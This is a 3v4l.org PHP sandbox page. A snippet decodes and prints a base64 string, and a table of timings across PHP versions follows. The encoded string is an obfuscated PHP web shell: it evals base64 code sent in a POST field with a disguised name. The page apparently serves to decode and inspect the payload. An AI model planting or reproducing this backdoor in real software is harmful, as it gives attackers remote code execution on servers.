3v4l.org

run code in 300+ PHP versions simultaneously
<?php $returnValue = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\\\'; echo base64_decode($returnValue); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0040.03812.50
5.4.300.0020.04012.50
5.4.290.0020.04112.49
5.4.280.0020.04012.39
5.4.270.0060.03712.39
5.4.260.0080.03512.39
5.4.250.0070.03512.39
5.4.240.0060.03612.39
5.4.230.0060.03812.38
5.4.220.0080.03512.38
5.4.210.0080.03912.38
5.4.200.0130.04112.38
5.4.190.0050.03712.38
5.4.180.0060.03712.38
5.4.170.0080.04212.39
5.4.160.0080.03412.38
5.4.150.0080.03712.38
5.4.140.0040.03912.07
5.4.130.0060.03512.05
5.4.120.0080.03412.01
5.4.110.0060.03512.01
5.4.100.0060.03912.01
5.4.90.0030.04012.01
5.4.80.0070.03812.01
5.4.70.0050.03612.00
5.4.60.0040.03612.00
5.4.50.0070.03412.01
5.4.40.0070.03811.99
5.4.30.0070.03911.99
5.4.20.0040.03911.98
5.4.10.0090.03211.99
5.4.00.0050.04311.48
5.3.280.0080.04012.71
5.3.270.0090.03812.73
5.3.260.0070.03712.72
5.3.250.0100.04012.72
5.3.240.0060.04012.71
5.3.230.0070.03912.71
5.3.220.0070.04412.68
5.3.210.0080.03712.68
5.3.200.0060.03712.68
5.3.190.0070.04312.68
5.3.180.0080.03812.68
5.3.170.0110.04012.67
5.3.160.0050.03712.67
5.3.150.0080.03512.67
5.3.140.0080.04012.66
5.3.130.0070.04012.66
5.3.120.0060.04412.66
5.3.110.0050.04112.66
5.3.100.0020.04212.12
5.3.90.0100.04412.08
5.3.80.0080.04312.07
5.3.70.0090.04512.07
5.3.60.0060.04112.06
5.3.50.0110.04012.00
5.3.40.0100.04212.00
5.3.30.0090.03711.95
5.3.20.0060.03511.72
5.3.10.0070.03611.70
5.3.00.0060.03711.68
5.2.170.0050.0319.18
5.2.160.0060.0309.19
5.2.150.0050.0409.18
5.2.140.0080.0339.18
5.2.130.0040.0339.14
5.2.120.0040.0299.14
5.2.110.0080.0329.14
5.2.100.0060.0359.14
5.2.90.0060.0289.14
5.2.80.0090.0319.14
5.2.70.0030.0349.14
5.2.60.0040.0319.10
5.2.50.0030.0329.06
5.2.40.0040.0309.04
5.2.30.0060.0319.01
5.2.20.0060.0339.00
5.2.10.0080.0328.93
5.2.00.0050.0348.79
5.1.60.0030.0258.06
5.1.50.0040.0268.07
5.1.40.0030.0278.04
5.1.30.0090.0268.40
5.1.20.0070.0278.42
5.1.10.0050.0288.14
5.1.00.0020.0278.14
5.0.50.0030.0216.62
5.0.40.0020.0216.48
5.0.30.0050.0296.29
5.0.20.0020.0206.27
5.0.10.0030.0206.25
5.0.00.0060.0286.24
4.4.90.0040.0144.78
4.4.80.0030.0154.76
4.4.70.0030.0164.75
4.4.60.0020.0164.76
4.4.50.0040.0174.77
4.4.40.0030.0254.71
4.4.30.0010.0184.76
4.4.20.0050.0234.84
4.4.10.0030.0214.85
4.4.00.0010.0264.76
4.3.110.0010.0174.67
4.3.100.0040.0174.67
4.3.90.0030.0174.63
4.3.80.0040.0224.58
4.3.70.0020.0174.63
4.3.60.0020.0154.63
4.3.50.0040.0134.62
4.3.40.0000.0334.54
4.3.30.0050.0193.28
4.3.20.0030.0143.26
4.3.10.0040.0153.23
4.3.00.0000.0236.80

preferences:
143.62 ms | 1394 KiB | 7 Q